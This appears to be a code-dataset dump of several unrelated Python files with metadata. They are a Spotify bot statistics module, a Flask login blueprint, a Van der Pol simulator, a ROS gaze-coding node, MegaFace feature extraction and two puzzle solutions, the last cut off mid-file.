language_Name=language_Name)\n logger.info(f\"Decades Statistic Created Successfuly For User {user_ID}\")\n\n finally:\n to_Main_Menu(user_ID)\n\n\n\ndef create_Artists_Statistic(user_ID, language_Name):\n \"\"\"\n Sends statistics on performers\n \"\"\"\n try:\n user_Unique_ID = db_Manager.get_User_UniqueID(user_ID)\n saved_Tracks = spotify_Service.get_Saved_Raw_Tracks(user_Unique_ID)\n total_Tracks = len(saved_Tracks)\n\n tracks_Artists = []\n for item in range(len(saved_Tracks)):\n track_Artist = saved_Tracks[item][\"track\"][\"album\"][\"artists\"][0][\"name\"]\n\n tracks_Artists.append(track_Artist)\n \n artists_Count = Counter(tracks_Artists)\n artists_Most_Common = artists_Count.most_common(15)\n\n most_Popular_Artists = {\"total_Tracks\":total_Tracks, \"statistic_Data\":[]}\n for artist in range(len(artists_Most_Common)):\n percent_Of_Total = round(((artists_Most_Common[artist][1] / total_Tracks) * 100), 1)\n\n most_Popular_Artists[\"statistic_Data\"].append({\n \"artist\":artists_Most_Common[artist][0],\n \"artist_Tracks\":artists_Most_Common[artist][1],\n \"percent_Of_Total\":percent_Of_Total\n })\n\n except spotify_Exceptions.no_Tracks:\n bot_Sender.not_Enough_Songs(user_ID, language_Name=language_Name)\n\n except spotify_Exceptions.http_Error:\n bot_Sender.cannot_Authorize(user_ID, language_Name=language_Name)\n logger.error(f\"HTTP ERROR OCCURED WHEN PREPARING ARTISTS STATISTIC FOR USER {user_ID}\")\n\n except spotify_Exceptions.http_Connection_Error:\n bot_Sender.servers_Link_Error(user_ID, language_Name=language_Name)\n logger.error(f\"CONNECTION ERROR OCCURED WHEN PREPARING ARTISTS STATISTIC FOR USER {user_ID}\")\n\n except:\n bot_Sender.unknown_Error(user_ID, language_Name=language_Name)\n logger.error(f\"UNKNOWN ERROR OCCURED WHEN PREPARING ARTISTS STATISTIC FOR USER {user_ID}\")\n\n else:\n bot_Sender.artists_Statistic(user_ID, statistic_Data=most_Popular_Artists, language_Name=language_Name)\n logger.info(f\"Artists Statistic Created Successfuly For User {user_ID}\")\n\n finally:\n to_Main_Menu(user_ID)\n\n\n\ndef create_Genres_Statistic(user_ID, language_Name):\n \"\"\"\n Sends statistics by genre\n \"\"\"\n try:\n user_Unique_ID = db_Manager.get_User_UniqueID(user_ID)\n saved_Tracks = spotify_Service.get_Saved_Raw_Tracks(user_Unique_ID)\n\n artists_Uris = []\n for item in range(len(saved_Tracks)):\n artist_Uri = saved_Tracks[item][\"track\"][\"album\"][\"artists\"][0][\"uri\"][15:]\n\n artists_Uris.append(artist_Uri)\n\n total_Iterations = math.ceil(len(saved_Tracks) / 50) #Divide the number of artists into requests by 50 artists\n\n offset = 50\n genres = []\n for _ in range(total_Iterations): #Get all artists\n artists_Data = spotify_Service.get_Several_Artists(user_Unique_ID, artists_Uris[offset - 50:offset])\n\n offset += 50\n \n for artist in range(len(artists_Data[\"artists\"])):\n genres += artists_Data[\"artists\"][artist][\"genres\"]\n \n genres_Count = Counter(genres)\n genres_Most_Common = genres_Count.most_common(10)\n\n most_Popular_Genres = []\n for genre in range(len(genres_Most_Common)):\n most_Popular_Genres.append(genres_Most_Common[genre][0])\n\n except spotify_Exceptions.no_Tracks:\n bot_Sender.not_Enough_Songs(user_ID, language_Name=language_Name)\n\n except spotify_Exceptions.http_Error:\n bot_Sender.cannot_Authorize(user_ID, language_Name=language_Name)\n logger.error(f\"HTTP ERROR OCCURED WHEN PREPARING GENRES STATISTIC FOR USER {user_ID}\")\n\n except spotify_Exceptions.http_Connection_Error:\n bot_Sender.servers_Link_Error(user_ID, language_Name=language_Name)\n logger.error(f\"CONNECTION ERROR OCCURED WHEN PREPARING GENRES STATISTIC FOR USER {user_ID}\")\n\n except:\n bot_Sender.unknown_Error(user_ID, language_Name=language_Name)\n logger.error(f\"UNKNOWN ERROR OCCURED WHEN PREPARING GENRES STATISTIC FOR USER {user_ID}\")\n\n else:\n bot_Sender.genres_Statistic(user_ID, statistic_Data=most_Popular_Genres, language_Name=language_Name)\n logger.info(f\"Genres Statistic Created Successfuly For User {user_ID}\")\n\n finally:\n to_Main_Menu(user_ID)", "repo_name": "Koteyk0o/Jarvis-Musical-Bot", "sub_path": "spotify_Module/bot_LibraryStatistics.py", "file_name": "bot_LibraryStatistics.py", "file_ext": "py", "file_size_in_byte": 8610, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "85", "api": [{"api_name": "spotify_Module.localization.load_Vocabluary", "line_number": 14, "usage_type": "call"}, {"api_name": "spotify_Module.localization", "line_number": 14, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.info", "line_number": 22, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 22, "usage_type": "name"}, {"api_name": "libraries.database_Manager.write_User_Position", "line_number": 23, "usage_type": "call"}, {"api_name": "libraries.database_Manager", "line_number": 23, "usage_type": "name"}, {"api_name": "libraries.database_Manager.get_User_Language", "line_number": 24, "usage_type": "call"}, {"api_name": "libraries.database_Manager", "line_number": 24, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.controls_Main_Menu", "line_number": 25, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 25, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.info", "line_number": 33, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 33, "usage_type": "name"}, {"api_name": "libraries.database_Manager.write_User_Position", "line_number": 34, "usage_type": "call"}, {"api_name": "libraries.database_Manager", "line_number": 34, "usage_type": "name"}, {"api_name": "libraries.database_Manager.get_User_Language", "line_number": 35, "usage_type": "call"}, {"api_name": "libraries.database_Manager", "line_number": 35, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.downloading_Information", "line_number": 36, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 36, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.astray_Notification", "line_number": 60, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 60, "usage_type": "name"}, {"api_name": "libraries.database_Manager.get_User_UniqueID", "line_number": 69, "usage_type": "call"}, {"api_name": "libraries.database_Manager", "line_number": 69, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Service.get_Saved_Raw_Tracks", "line_number": 70, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Service", "line_number": 70, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 81, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Exceptions.no_Tracks", "line_number": 94, "usage_type": "attribute"}, {"api_name": "spotify_Module.spotify_Exceptions", "line_number": 94, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.not_Enough_Songs", "line_number": 95, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 95, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Exceptions.http_Error", "line_number": 97, "usage_type": "attribute"}, {"api_name": "spotify_Module.spotify_Exceptions", "line_number": 97, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.cannot_Authorize", "line_number": 98, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 98, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.error", "line_number": 99, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 99, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Exceptions.http_Connection_Error", "line_number": 101, "usage_type": "attribute"}, {"api_name": "spotify_Module.spotify_Exceptions", "line_number": 101, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.servers_Link_Error", "line_number": 102, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 102, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.error", "line_number": 103, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 103, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.unknown_Error", "line_number": 106, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 106, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.error", "line_number": 107, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 107, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.decades_Statistic", "line_number": 110, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 110, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.info", "line_number": 111, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 111, "usage_type": "name"}, {"api_name": "libraries.database_Manager.get_User_UniqueID", "line_number": 123, "usage_type": "call"}, {"api_name": "libraries.database_Manager", "line_number": 123, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Service.get_Saved_Raw_Tracks", "line_number": 124, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Service", "line_number": 124, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 133, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Exceptions.no_Tracks", "line_number": 146, "usage_type": "attribute"}, {"api_name": "spotify_Module.spotify_Exceptions", "line_number": 146, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.not_Enough_Songs", "line_number": 147, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 147, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Exceptions.http_Error", "line_number": 149, "usage_type": "attribute"}, {"api_name": "spotify_Module.spotify_Exceptions", "line_number": 149, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.cannot_Authorize", "line_number": 150, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 150, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.error", "line_number": 151, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 151, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Exceptions.http_Connection_Error", "line_number": 153, "usage_type": "attribute"}, {"api_name": "spotify_Module.spotify_Exceptions", "line_number": 153, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.servers_Link_Error", "line_number": 154, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 154, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.error", "line_number": 155, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 155, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.unknown_Error", "line_number": 158, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 158, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.error", "line_number": 159, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 159, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.artists_Statistic", "line_number": 162, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 162, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.info", "line_number": 163, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 163, "usage_type": "name"}, {"api_name": "libraries.database_Manager.get_User_UniqueID", "line_number": 175, "usage_type": "call"}, {"api_name": "libraries.database_Manager", "line_number": 175, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Service.get_Saved_Raw_Tracks", "line_number": 176, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Service", "line_number": 176, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 184, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Service.get_Several_Artists", "line_number": 189, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Service", "line_number": 189, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 196, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Exceptions.no_Tracks", "line_number": 203, "usage_type": "attribute"}, {"api_name": "spotify_Module.spotify_Exceptions", "line_number": 203, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.not_Enough_Songs", "line_number": 204, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 204, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Exceptions.http_Error", "line_number": 206, "usage_type": "attribute"}, {"api_name": "spotify_Module.spotify_Exceptions", "line_number": 206, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.cannot_Authorize", "line_number": 207, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 207, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.error", "line_number": 208, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 208, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Exceptions.http_Connection_Error", "line_number": 210, "usage_type": "attribute"}, {"api_name": "spotify_Module.spotify_Exceptions", "line_number": 210, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.servers_Link_Error", "line_number": 211, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 211, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.error", "line_number": 212, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 212, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.unknown_Error", "line_number": 215, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 215, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.error", "line_number": 216, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 216, "usage_type": "name"}, {"api_name": "spotify_Module.bot_Sender.genres_Statistic", "line_number": 219, "usage_type": "call"}, {"api_name": "spotify_Module.bot_Sender", "line_number": 219, "usage_type": "name"}, {"api_name": "spotify_Module.spotify_Logger.logger.info", "line_number": 220, "usage_type": "call"}, {"api_name": "spotify_Module.spotify_Logger.logger", "line_number": 220, "usage_type": "name"}]} +{"seq_id": "70694888919", "text": "import functools\r\nfrom flask import Blueprint, render_template, request, url_for, flash, redirect, session, g\r\nfrom invman.db import get_db\r\n\r\nbp = Blueprint('start', __name__)\r\n\r\n@bp.route('/', methods=('GET', 'POST'))\r\ndef index():\r\n db = get_db()\r\n error = None\r\n if g.user:\r\n return redirect(url_for('main.products'))\r\n if request.method == 'POST':\r\n if 'login' in request.form:\r\n business_id = request.form['registered_b_id']\r\n business = db.execute('SELECT * FROM business WHERE business_id = ?', (business_id,)).fetchone()\r\n if business:\r\n session.clear()\r\n session['user_id'] = business['business_id']\r\n g.user = get_db().execute('SELECT * FROM business WHERE business_id = ?', (business_id,)).fetchone()\r\n return redirect(url_for('main.products'))\r\n else:\r\n error = 'Incorrect ID'\r\n flash(error)\r\n elif 'register' in request.form:\r\n new_business_id = request.form['create_b_id']\r\n new_business_name = request.form['create_b_name']\r\n if new_business_id and new_business_name:\r\n business_exists = db.execute('SELECT * FROM business WHERE business_id = ?', (new_business_id,)).fetchone()\r\n if not business_exists:\r\n db.execute('INSERT INTO business (business_id, business_name) VALUES (?, ?)', (new_business_id, new_business_name))\r\n db.commit()\r\n return redirect(url_for('start.created'))\r\n else:\r\n error = 'Business ID already exists'\r\n else:\r\n error = 'Please enter a business ID and Name'\r\n flash(error)\r\n return render_template('index.html', title='Home')\r\n\r\n@bp.before_app_request\r\ndef load_logged_in_user():\r\n user_id = session.get('user_id')\r\n\r\n if user_id is None:\r\n g.user = None\r\n else:\r\n g.user = get_db().execute(\r\n 'SELECT * FROM business WHERE business_id = ?', (user_id,)\r\n ).fetchone()\r\n\r\n@bp.route('/created')\r\ndef created():\r\n return '
Business Created

You can now login'\r\n\r\ndef login_required(view):\r\n @functools.wraps(view)\r\n def wrapped_view(**kwargs):\r\n if g.user is None:\r\n return redirect(url_for('start.index'))\r\n\r\n return view(**kwargs)\r\n\r\n return wrapped_view\r\n", "repo_name": "7zmau/moverr", "sub_path": "invman/start.py", "file_name": "start.py", "file_ext": "py", "file_size_in_byte": 2457, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "flask.Blueprint", "line_number": 5, "usage_type": "call"}, {"api_name": "invman.db.get_db", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.g.user", "line_number": 11, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 11, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 13, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 13, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.session.clear", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.g.user", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 20, "usage_type": "name"}, {"api_name": "invman.db.get_db", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.session.get", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.g.user", "line_number": 46, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 46, "usage_type": "name"}, {"api_name": "flask.g.user", "line_number": 48, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 48, "usage_type": "name"}, {"api_name": "invman.db.get_db", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.g.user", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 60, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "42733438981", "text": "import functools\nimport os\n\nimport numpy as np\nfrom scipy.integrate import odeint\n\n# try:\n# from vdp import rk4\n# except ImportError:\n# Using numpy rk4 integration. For improvement check rust version.\"\nfrom gym_vdp.utils import rk4\n\n\nclass VanDerPolOscillator:\n _best_x0 = [-0.1144, 2.0578] # taken from drake, thanks !\n\n def __init__(self, x0=(0, 1), mu=1, state_bound=10., action_bound=2., dt=0.01):\n self._dt = dt\n self.time_step = 0\n self.state_bound = state_bound\n self.action_bound = action_bound\n\n self._mu = mu\n self.x = self._x0 = x0\n\n def reset(self, x0=None):\n self.time_step = 0\n self.x = self._x0 if x0 is None else x0\n return np.array(self.x)\n\n def cost_fn(self, x, u):\n return np.linalg.norm(u) ** 2 + np.linalg.norm(x) ** 2\n\n def step(self, u):\n u = float(np.clip(u, -self.action_bound, self.action_bound))\n t_span = [0, self._dt]\n out = rk4(_vdp, t_span, self.x.copy(), u, self._mu)\n x = np.clip(out, -self.state_bound, self.state_bound)\n c = self.cost_fn(self.x, u)\n self.time_step += 1\n self.x = x\n return x, c\n\n @property\n def best_x0(self):\n return self._best_x0\n\n\nclass LimitCycleVDP(VanDerPolOscillator):\n # Taken from Practical Bifurcation and Stability Analysis, page 347 Seydel R. Forced Van der Pol oscillator\n _x0 = [1.53457323, -0.18991305]\n _period = 10.4719755\n\n def __init__(self, gamma=0.5, mu=4, u=1.8, max_steps=500):\n path = os.path.join(os.path.dirname(__file__), \"solution.npy\")\n if not os.path.exists(path):\n times = np.linspace(0, self._period, max_steps)\n space, dt = _simulate_optimal_trajectory(self._x0, times, u, mu, gamma)\n np.save(path, (space, dt))\n else:\n space, dt = np.load(path, allow_pickle=True)\n assert len(space) == max_steps, \"saved trajectory does not match max_steps\"\n self.space = space\n self.gamma = gamma\n self.max_steps = len(self.space) - 1\n\n self._best_action = u\n super().__init__(self._x0, mu=mu, dt=dt, action_bound=2)\n\n def cost_fn(self, x, u):\n return np.linalg.norm(x - self.space[self.time_step]) ** 2 / self.max_steps + np.linalg.norm(\n u - self._best_action) ** 2\n\n def reset(self, x0=None):\n return np.array(self._x0)\n\n\ndef _vdp(t, x, u, mu, gamma=0.5):\n x, x_dot = x\n x_ddot = mu * x_dot * (1 - x ** 2) - x + gamma * np.cos(u * t)\n return x_dot, x_ddot\n\n\ndef _vdp_ode(x, t, u, mu, gamma):\n return _vdp(t, x, u, mu, gamma)\n\n\ndef _simulate_optimal_trajectory(x0, times, u, mu, gamma):\n dt = times[1] - times[0]\n fn = functools.partial(_vdp_ode, u=u, mu=mu, gamma=gamma)\n space = odeint(fn, x0, t=times)\n return space, dt\n", "repo_name": "d3sm0/gym-vdp", "sub_path": "gym_vdp/simulator.py", "file_name": "simulator.py", "file_ext": "py", "file_size_in_byte": 2827, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 35, "usage_type": "call"}, {"api_name": "gym_vdp.utils.rk4", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 80, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 90, "usage_type": "call"}, {"api_name": "scipy.integrate.odeint", "line_number": 91, "usage_type": "call"}]} +{"seq_id": "13347402", "text": "#!/usr/bin/env python\n\n\"\"\"Node for coding whether the user looked left or right in a video.\"\"\"\n\nimport getch\nimport rosbag\nimport rospy\nfrom std_msgs.msg import String\nimport sys\n\ndef main():\n data_dir = '/home/jstn/Dropbox/experiment_data'\n user = sys.argv[1]\n condition = sys.argv[2]\n filename = '{}_{}_code.bag'.format(user, condition)\n file_path = '/'.join([data_dir, filename])\n bag = rosbag.Bag(file_path, 'w')\n rospy.init_node('webcam_coder')\n rate = rospy.Rate(15)\n print(\n 'Press \\'l\\' if the participant is looking left, '\n '\\'r\\' if the participant is looking right, and any other key for other. '\n 'Press \\'e\\' to end.')\n state = 'other'\n time = rospy.get_time()\n print('{}: {}'.format(time, state))\n message = String()\n message.data = state\n bag.write('webcam_coding', message)\n\n while not rospy.is_shutdown():\n char = getch.getch()\n if char == 'l':\n new_state = 'left'\n elif char == 'r':\n new_state = 'right'\n elif char == 'e':\n print('Writing to file: {}'.format(file_path))\n bag.close()\n return\n else:\n new_state = 'other'\n if state != new_state:\n state = new_state\n time = rospy.get_time()\n print('{}: {}'.format(time, state))\n message = String()\n message.data = state\n bag.write('webcam_coding', message)\n rate.sleep()\n\nif __name__ == '__main__':\n main()\n", "repo_name": "jstnhuang/rviz_experiment", "sub_path": "scripts/code_node.py", "file_name": "code_node.py", "file_ext": "py", "file_size_in_byte": 1380, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "sys.argv", "line_number": 13, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "rosbag.Bag", "line_number": 17, "usage_type": "call"}, {"api_name": "rospy.init_node", "line_number": 18, "usage_type": "call"}, {"api_name": "rospy.Rate", "line_number": 19, "usage_type": "call"}, {"api_name": "rospy.get_time", "line_number": 25, "usage_type": "call"}, {"api_name": "std_msgs.msg.String", "line_number": 27, "usage_type": "call"}, {"api_name": "rospy.is_shutdown", "line_number": 31, "usage_type": "call"}, {"api_name": "getch.getch", "line_number": 32, "usage_type": "call"}, {"api_name": "rospy.get_time", "line_number": 45, "usage_type": "call"}, {"api_name": "std_msgs.msg.String", "line_number": 47, "usage_type": "call"}]} +{"seq_id": "6253149240", "text": "import os\nimport torch\nimport struct\n\n\ndef write_bin(name, prefix, path, features):\n for i, feature in enumerate(features):\n\n _path = path[i].split('/')\n #if len(_path)==3:\n a=os.path.join(_path[-3], _path[-2])\n b=_path[-1]\n #else:\n # a,b = _path[-2], _path[-1]\n out_dir = os.path.join(prefix, a)\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n out_file = os.path.join(out_dir, b+\"_%s.bin\"%(name))\n# print('out_file:{}'.format(out_file))\n feature = list(feature)\n with open(out_file, 'wb') as f:\n f.write(struct.pack('4i', len(feature),1,4,5))\n f.write(struct.pack(\"%df\"%len(feature), *feature))\n\ndef mega_extract(name, prefix, test_loader, model):\n\n with torch.no_grad():\n for i, (input, flst) in enumerate(test_loader):\n# print('input:{}'.format(type(input)))\n output = model(input.cuda())+model(torch.flip(input.cuda(),[3]))\n norm = output.pow(2).sum(dim=1, keepdim=True).sqrt()+1e-10\n output = torch.div(output,norm)\n #pudb.set_trace()\n\n write_bin(name, prefix, flst, output)\n\n# print(\"=\" * 60)\n print('Batch {}/{}'.format(i + 1, len(test_loader)))\n# print(\"=\" * 60)\n\n\n\n\n", "repo_name": "cerebrai/npt-loss", "sub_path": "evaluation/megaface/mega_utils.py", "file_name": "mega_utils.py", "file_ext": "py", "file_size_in_byte": 1311, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "85", "api": [{"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "struct.pack", "line_number": 22, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.flip", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.div", "line_number": 32, "usage_type": "call"}]} +{"seq_id": "8528668661", "text": "#!/usr/bin/env pypy3\n\nimport itertools\nimport sys\nfrom collections import defaultdict\n\ndef parse_input():\n lines = [_.strip('\\r\\n') for _ in sys.stdin]\n lines = [int(_) for _ in lines]\n return lines\n\ndef part(data):\n cnt = 0\n d = defaultdict(int)\n for N in range(1, len(data)):\n for tup in itertools.combinations(data, N):\n if sum(tup) == 150:\n cnt += 1\n d[N] += 1\n print(cnt)\n\n# print(min(d))\n print(d[min(d)])\n\ndef main():\n data = parse_input()\n part(data)\n\nif __name__ == '__main__':\n main()\n", "repo_name": "mattbillenstein/aoc", "sub_path": "2015/17/p.py", "file_name": "p.py", "file_ext": "py", "file_size_in_byte": 579, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "85", "api": [{"api_name": "sys.stdin", "line_number": 8, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 14, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "74353632278", "text": "# 2261. Sweep line\n\nimport sys\nsys.stdin = open(\"D:/OneDrive/2. Project/98. PS/code/2261.txt\", \"r\") \ninput = sys.stdin.readline\n\nfrom collections import defaultdict, deque\n\ndef BOJ_2261():\n n = int(input())\n pts = []\n for _ in range(n):\n x,y = map(int,input().split())\n pts.append(x + y*1j) # using complex number\n pts = sorted(pts, key=lambda x: x.real)\n\n min_ = min(abs(pts[i + 1] - pts[i]) for i in range(len(pts) - 1)) # abs is dist in complex\n if min_ in [0,1]:\n return print(round(min_**2))\n\n group = [int(p.imag // min_) for p in pts]\n\n candidate = defaultdict(deque)\n start = 0\n for idx, p1 in enumerate(pts):\n while min_ <= p1.real - pts[start].real:\n i = candidate[group[start]].popleft()\n assert start == i, (start, i)\n start += 1\n\n for k in 